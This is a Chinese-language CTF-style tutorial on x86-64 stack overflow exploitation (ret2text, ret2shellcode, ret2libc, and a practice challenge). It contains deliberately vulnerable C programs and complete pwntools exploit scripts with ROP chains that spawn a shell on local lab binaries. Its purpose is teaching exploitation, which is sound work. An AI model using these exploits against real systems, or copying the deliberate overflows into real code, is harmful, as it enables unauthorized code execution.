背景知识
栈介绍
高级语言在运行时都会被转换为汇编程序,在汇编程序运行过程中,充分利用了这一数据结构。每个程序在运行时都有虚拟地址空间,其中某一部分就是该程序对应的栈,用于保存函数调用信息和局部变量。此外,常见的操作也是压栈与出栈。需要注意的是,程序的栈是从进程地址空间的高地址向低地址增长的。
进程虚拟地址空间布局
- 代码段(text):存放二进制代码
- 数据段(data/bss):存放全局变量
- 栈(stack):分配函数栈帧
- 堆(heap):分配动态内存
参考
https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86
环境配置
直接输入make即可,kali里啥都有
ret2text
背景
ret2text
(Return-to-text)是栈溢出攻击中一种基础的利用方式,全称为“return to .text 段”,即利用栈溢出劫持程序的控制流,跳转到程序中已有的 .text
段代码执行(通常是某些函数或指令序列)。
.text
段:程序中存放可执行指令的区域,通常包括主函数、库函数、其他逻辑代码等。- 栈溢出攻击:攻击者覆盖栈上的返回地址,使程序跳转到攻击者指定的代码位置。
- 返回地址:函数调用后从栈上“弹出”的地址,用于跳回调用者。
当程序存在栈溢出漏洞时,攻击者可以:
- 构造 payload,覆盖返回地址;
- 将返回地址设置为
.text
段中的某个合法函数或指令序列的地址(比如system()
、win()
函数、或者 gadget); - 程序返回时跳转到该地址,执行攻击者预期的行为。
分析
首先直接查看源码:
// gcc -g -fno-stack-protector -o ret2text ret2text.c -no-pie
#include<stdlib.h>
#include<stdio.h>
#include<unistd.h>
void backdoor(){
char *argv[] = {"/bin/sh", NULL};
execve(argv[0], argv, NULL);
}
void vul(){
char buf[0x20];
read(0, buf, 0x40);
}
int main(){
vul();
}
攻击目标很明显,就是要劫持程序控制流到源码中已定义的后门函数 backdoor()
。backdoor() 函数执行 /bin/sh
,vul() 函数包含一个 0x20 字节的 buf,但通过 read(0, buf, 0x40)
读取 0x40 字节的数据,存在缓冲区溢出漏洞,main() 函数调用 vul()。
这里我们把汇编得到的程序用ida反编译一下:
可以看到后门对应的地址是0x00401136,如果我们能控制程序返回到这个地址,那就可以直接拿到程序的shell了。
这里我们再查看vul函数,双击这个buf:
简单计算一下,可以发现buf的大小是0x20+8,也就是40,而我们可以读取0x40的大小,也就是64,显然是远远超过了这个范围,存在覆盖问题。
所以我们只需要先输入40大小的数据,然后就可以用我们的shell地址覆盖返回地址了:
from pwn import *
sh = process('./ret2text')
target = 0x00401136
sh.sendline(b'A' * (0x20 + 8) + p64(target))
sh.interactive()
当我们调用一个函数(如 vul()
)时,系统会为它在栈上分配一段空间,典型结构如下(栈是向下增长的):
↑ 高地址
|
| [main 的返回地址] ← 假设从 main 调用 vul
| [saved RBP] ← main 的栈帧基址
| ... ← 旧栈帧
+--------------------+ ← vul 函数开始执行时的 RSP
| buf[0x20] | ← 32 字节的局部变量
+--------------------+
| saved RBP | ← vul 函数调用时 push 的 RBP(8 字节)
+--------------------+
| 返回地址(RET) | ← vul() 返回时 pop 这里跳转
↓
char buf[0x20];
(32字节)- 编译器在栈上为这个变量分配了 0x20 字节空间,从当前的栈顶(RSP)往高地址分配。
saved RBP
(8字节)- 函数进入时会执行
push rbp
保存上一个栈帧的基址(调用者的RBP
),然后mov rbp, rsp
设置当前栈帧的基址。
- 函数进入时会执行
返回地址 RET
(8字节)- 这是函数调用时由
call
指令压入栈中的返回地址。当ret
执行时,会从这里pop
一个地址到rip
跳回去。
- 这是函数调用时由
当我们输入b'A' * 40 + p64(0x401136)
,栈上布局会变成:
| buf[0x20] | ← 被 32 个 'A' 覆盖
| saved RBP | ← 被 8 个 'A' 覆盖
| 返回地址(RET) | ← 被覆盖为 0x401136(backdoor)
因此当 vul()
函数结束后执行 ret
,就不是跳回 main()
后续代码,而是跳转到我们的精心准备的 0x401136
地址执行。
ret2shellcode
背景
ret2shellcode
(Return to shellcode)是栈溢出攻击中的一种经典利用方式,它的核心思想是:将自定义的 shellcode 放入栈中,然后通过覆盖返回地址,使程序跳转执行栈上的 shellcode,从而实现攻击者控制的行为(如打开 shell)。
ret2shellcode
这个名字可以拆成两部分理解:
ret2
:通过“返回”(return)指令来劫持控制流;shellcode
:一段手工编写的二进制代码,执行某些攻击操作(如/bin/sh
)。
攻击流程:
- 在输入中注入 shellcode(机器指令);
- 利用栈溢出覆盖返回地址,使程序跳转到栈上 shellcode 的地址;
- 程序执行 shellcode,攻击者获得 shell 或执行任意代码。
分析
首先查看源码:
/*
gcc -fno-stack-protector -z execstack \
-g -o ret2shellcode ret2shellcode.c
*/
#include<unistd.h>
#include<stdio.h>
void vul(){
char buf[0x20];
printf("I will give you stack: %p\n", buf);
read(0, buf, 0x100);
}
int main(){
vul();
}
简单分析一下,vul() 函数与 ret2text.c 类似,buf 大小 0x20 字节,读取 0x100 字节,存在溢出。同时程序会通过 printf(“I will give you stack: %p\n”, buf) 泄露 buf 在栈上的地址,程序使用 -z execstack 编译,使得栈区可执行。
我们的目标是把 shellcode 放在 buf 起始位置,溢出 saved RBP(8字节),再覆盖返回地址为 buf 地址,当 vul() 返回时跳到 shellcode 执行。比如我们现在随便运行一下:
可以看到这里输出了栈地址0x7fff92bcf780,此时栈布局分布如下:
buf[0x20] → shellcode 放这里
saved rbp (8字节)
ret addr (8字节) → 覆盖为 buf 地址:0x7fff92bcf780
我们需要传入的payload就为:
payload = shellcode
payload += b'A' * (0x20 - len(shellcode)) # 填满 buf 到 saved rbp
payload += b'B' * 8 # 跳过 saved rbp
payload += p64(0x7fff92bcf780) # 返回地址跳转到 shellcode
完整的代码如下:
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
sh = process('./ret2shellcode')
stack_line = sh.recvline()
stack_addr = int(stack_line.strip().split(': ')[1], 16)
log.success('Leaked stack address: ' + hex(stack_addr))
shellcode = asm(shellcraft.sh())
log.info('Shellcode length: %d' % len(shellcode))
if len(shellcode) > 0x20:
log.error("Shellcode too long! Must fit in 0x20 bytes buffer.")
payload = shellcode
payload += 'A' * (0x20 - len(shellcode))
payload += 'B' * 8
payload += p64(stack_addr)
sh.send(payload)
sh.interactive()
很遗憾报错了:
我们注入的 shellcode 太长了,超过了 buf[0x20]
的大小(32 字节),如果继续使用原逻辑会导致shellcode 覆盖掉 RBP、返回地址,栈结构损坏直接 crash。
我们之前的方式其实是在buf的最开始进行注入,但这要求shellcode <= 0x20
,否则就不行,因此我们必须换一个方式,将shellcode放在payload的末尾,在 buf 里只存储填充和地址信息,shellcode 安全地放在后面,返回地址直接跳到栈上的 shellcode,绕开长度限制:
↓ 高地址
|----------------------------|
| buf[0x20] | ← 填充 'A' * 32
|----------------------------|
| saved RBP | ← 'B' * 8
|----------------------------|
| return address | ← 跳到 buf + 0x30(32+8+8)
|----------------------------|
| shellcode | ← 真实执行的代码
|----------------------------|
现在的脚本如下:
# coding:utf-8
from pwn import *
context.arch = "amd64"
context.log_level = "debug"
sh = process("./ret2shellcode")
# 获取 stack 地址
stack_line = sh.recvline()
stack_addr = int(stack_line.strip().split(": ")[1], 16)
log.success("Leaked stack address: " + hex(stack_addr))
# 生成 shellcode
shellcode = asm(shellcraft.sh())
log.info("Shellcode length: %d" % len(shellcode))
# RET 跳到 shellcode 地址:buf + 0x30
# [ buf(32) ][ RBP(8) ][ RET ][ shellcode ]
ret_addr = stack_addr + 0x30
# 构造 payload
payload = "A" * 0x20 # 填充 buf
payload += "B" * 8 # 假 RBP
payload += p64(ret_addr) # 返回地址跳转到 shellcode
payload += shellcode # shellcode 放末尾
sh.sendline(payload)
sh.interactive()
ret2libc
背景
ret2libc(Return-to-libc)是一种经典的栈溢出攻击技术,用于绕过某些防御机制,比如禁止执行栈上的代码(如 NX
/DEP
)。这种攻击通过复用程序中已有的 libc 函数(如 system
)来执行恶意代码(比如调用 /bin/sh
取得 shell)。核心思想是:攻击者不再向栈注入 shellcode,而是通过覆盖返回地址,让程序直接“跳转”到 libc
中的某个函数,比如 system()
,以执行任意命令。
攻击步骤:
- 溢出缓冲区
- 攻击者利用栈溢出覆盖返回地址。
- 伪造调用栈
- 将返回地址设置为
system()
的地址; - 构造
system()
的参数(比如/bin/sh
); - 伪造
system()
执行完后的返回地址(可填任意地址如exit()
);
- 将返回地址设置为
- 利用泄露信息
- 如果有 ASLR,攻击者通常需要泄露 libc 基址(如泄露 puts 或 printf 地址);
- 再计算出
system()
和"/bin/sh"
的实际地址。
分析
首先查看源码:
/*
gcc -fno-stack-protector -no-pie \
-g -o ret2libc ret2libc.c
*/
#include<stdio.h>
#include<unistd.h>
void vul(){
char buf[0x20];
read(0, buf, 0x100);
}
int main(){
puts("hello!");
printf("I will give you libc address: %p\n", (void*)puts);
vul();
}
ret2libc.c
程序有一个vul
函数,其中包含一个0x20
字节的缓冲区,并读取0x100
字节,导致缓冲区溢出。它还打印libc
中puts
函数的地址,这使我们能够计算libc
的基地址。 该程序使用-fno-stack-protector
和-no-pie
编译。
当NX位启用时,我们无法在堆栈上执行shellcode。然而,我们可以使用ROP来调用libc
中已有的函数。目标是调用execve("/bin/sh", 0, 0)
来获取shell。这需要找到libc
中execve
的地址和字符串"/bin/sh"
的地址。程序提供了puts
的地址,允许我们计算libc
的基地址。
因此思路就是通过泄露 libc 中某个函数(如 puts
)的真实地址,计算出 libc 基地址,然后借助 ROP 技术调用 execve("/bin/sh", NULL, NULL)
,劫持程序控制流获得 shell。
首先,由于char buf[0x20]
,所以当调用 read(0, buf, 0x100)
时很显然会覆盖返回地址,此时的栈布局如下:
↓ 高地址
+-------------------+
| return addr | ←←← 我们要覆盖的目标
+-------------------+
| saved RBP |
+-------------------+
| buf[0x20] | ←←← read 写入从这里开始
| |
+-------------------+
↑ 低地址
当我们输入恶意payload进行覆盖时,栈结构会变成下面的情况:
+-------------------------------+
| execve | ← 返回到 libc 中 execve()
+-------------------------------+
| 0 | ← 第三个参数 (rdx)
+-------------------------------+
| pop rdx; ret | ← gadget: 设置 rdx
+-------------------------------+
| 0 | ← 第二个参数 (rsi)
+-------------------------------+
| pop rsi; ret | ← gadget: 设置 rsi
+-------------------------------+
| &"/bin/sh" | ← 第一个参数 (rdi)
+-------------------------------+
| pop rdi; ret | ← gadget: 设置 rdi
+-------------------------------+
| "B"*8 | ← saved RBP(已无用)
+-------------------------------+
| "A"*0x20 | ← 填充 buffer
+-------------------------------+ ← RSP 起始点
此时 RSP
已移动至 pop rdi; ret
的位置,函数返回后即执行第一个 gadget。接下来 ret
跳到 pop rdi; ret
:
执行 pop rdi; ret
→ rdi = &"/bin/sh"
→ RIP = pop rsi; ret
rsp继续向下移动:
+-------------------------------+
| 0 | ← rsi(准备设置)
+-------------------------------+
| pop rsi; ret |
然后执行 pop rsi; ret
:
→ rsi = 0
→ RIP = pop rdx; ret
栈顶变成:
+-------------------------------+
| 0 | ← rdx(准备设置)
+-------------------------------+
| pop rdx; ret |
最后执行 pop rdx; ret
→ rdx = 0
→ RIP = execve
栈顶状态变成:
+-------------------------------+
| execve | ← 控制流即将跳转到这里
因此执行execve("/bin/sh", 0, 0)
,此时rdi = &"/bin/sh"
,rsi = 0
,rdx = 0
,程序执行系统调用 execve()
,从而打开一个 shell。
# coding:utf-8
from pwn import *
context.binary = './ret2libc'
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = 'debug'
p = process('./ret2libc')
# 泄露 puts
p.recvuntil('libc address: ')
leaked_puts = int(p.recvline().strip(), 16)
log.success("puts: " + hex(leaked_puts))
# 基地址和目标函数地址
libc_base = leaked_puts - libc.symbols['puts']
execve = libc_base + libc.symbols['execve']
binsh = next(libc.search('/bin/sh')) + libc_base
# Gadget 偏移
rop = ROP(libc)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0] + libc_base
pop_rsi = rop.find_gadget(['pop rsi', 'ret'])[0] + libc_base
pop_rdx = rop.find_gadget(['pop rdx', 'ret'])[0] + libc_base
# payload
payload = "A" * 0x20
payload += "B" * 8
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(pop_rdx)
payload += p64(0)
payload += p64(execve)
# gdb.attach(p)
p.sendline(payload)
p.interactive()
practice
首先IDA查看一下:
setvbuf(stdout, 0LL, 2, 0LL);
:设置stdout
为行缓冲,方便交互输出立即显示。printf("Name:", 0LL);
:打印Name:
提示用户输入。read(0, &name, 0x100uLL);
:从标准输入读取最多256字节到name
变量。printf("Try your best:", &name);
:传入了&name
作为格式字符串参数,而printf
第一个参数是格式字符串。这里的&name
其实指向用户控制的字符串,导致格式字符串漏洞(format string vulnerability)。read(0, &buf, 0x100uLL);
:继续读取256字节到buf
,buf
只有一个字节大小,造成缓冲区溢出漏洞。
这里实际上存在两个问题:
printf
格式字符串漏洞,因为格式字符串由用户控制。read
对buf
的读取导致溢出(写入溢出),可以覆盖后续栈数据,控制返回地址。
因此现在的利用思路如下:
- 利用溢出覆盖返回地址,构造ROP链泄露
printf
的真实地址(通过printf@got
)。 - 利用泄露的
printf
地址计算libc
基地址,然后构造第二个ROP链调用system("/bin/sh")
,获得shell。
我们的目标是构造如下的栈结构:
+-----------------------------+ <-- 栈顶(高地址)
| |
| 其它局部变量 |
| |
+-----------------------------+
| buf[256] 或 buf + 溢出空间 |
| (实际溢出写入payload) |
| ┌─────────────────────┐ |
| │ A * 0x20 (32字节填充)│ |
| ├─────────────────────┤ |
| │ Saved RBP (8字节) │ |
| ├─────────────────────┤ |
| │ Return Address (8字节)│ <-- 溢出这里覆盖为ROP链入口地址
| ├─────────────────────┤ |
| │ ROP链的第1条gadget地址 │
| ├─────────────────────┤ |
| │ ROP链的第1个参数 │
| ├─────────────────────┤ |
| │ ROP链的第2条gadget地址 │
| ├─────────────────────┤ |
| │ ROP链的第2个参数 │
| ├─────────────────────┤ |
| │ ... │
| └─────────────────────┘ |
+-----------------------------+
| Saved frame of caller |
+-----------------------------+
| 返回到 main 或其他调用点 |
+-----------------------------+ <-- 栈底(低地址)
在第一次溢出中,我们需要执行泄露ROP链。栈溢出填充 A * 0x20(覆盖到 saved rbp 之前),之后8字节覆盖 saved rbp。接下来8字节覆盖返回地址,改为ROP链入口(printf@plt)ROP链后续参数依次放置,供ROP gadget使用,参数是寄存器内容(rdi、rsi等),ROP调用 printf(printf@got),泄露printf地址,返回 main 函数地址,重新进入程序,准备第二次溢出。
收到泄露地址后,计算 libc 基址,进行第二次利用。同样的栈溢出方式,返回地址覆盖为 system 地址,参数寄存器(rdi)设置为指向 “/bin/sh” 字符串地址,调用 system(“/bin/sh”) 执行shell,最后调用 exit 安全退出程序。
详细的调用图如下:
main:
read(0, name, 0x100) # 输入name
printf("Try your best:", name) # 格式字符串漏洞利用点
read(0, buf, 0x100) # 第二次输入,缓冲区溢出开始
溢出写入:
buf溢出 -> 覆盖saved rbp和返回地址 -> 返回地址跳转ROP链1
ROP链1:
设置rdi = printf@got
调用printf,打印printf真实地址
返回main,准备第二次利用
main再次执行:
再次触发溢出,构造ROP链2
ROP链2:
栈对齐ret
设置rdi = "/bin/sh"地址
调用system("/bin/sh")
调用exit安全退出
代码如下:
# coding:utf-8
from pwn import *
context.binary = "./practice"
context.terminal = ["tmux", "splitw", "-h"]
context.log_level = "debug"
io = process(context.binary.path)
libc = context.binary.libc
prog = context.binary
# 创建ROP链,泄露printf地址
rop = ROP(prog)
rop.call(prog.plt["printf"], [prog.got["printf"]])
rop.call(prog.symbols["main"])
log.info("Stage 1 ROP chain:\n" + rop.dump())
# 第一次溢出
payload = flat({0x20: b"A" * 8, 0x28: rop.chain()})
io.recvuntil(b"Name:")
io.sendline(b"dummy_name")
io.recvuntil(b"Try your best:")
io.sendline(payload)
# 获取溢出的地址
leak = io.recvuntil(b"Name:", drop=True)
printf_leak = u64(leak.ljust(8, b"\x00"))
libc.address = printf_leak - libc.sym["printf"]
log.success(f"printf @ {hex(printf_leak)}")
log.success(f"libc base @ {hex(libc.address)}")
# 再创建一次ROP链,目标是获取shell
rop = ROP(libc)
rop.raw(rop.find_gadget(["ret"]).address)
rop.call(libc.sym["system"], [next(libc.search(b"/bin/sh"))])
rop.call(libc.sym["exit"])
log.info("Stage 2 ROP chain:\n" + rop.dump())
# 第二次溢出
payload = flat({0x20: b"A" * 8, 0x28: rop.chain()})
io.sendline(b"dummy_name2")
io.recvuntil(b"Try your best:")
io.sendline(payload)
io.interactive()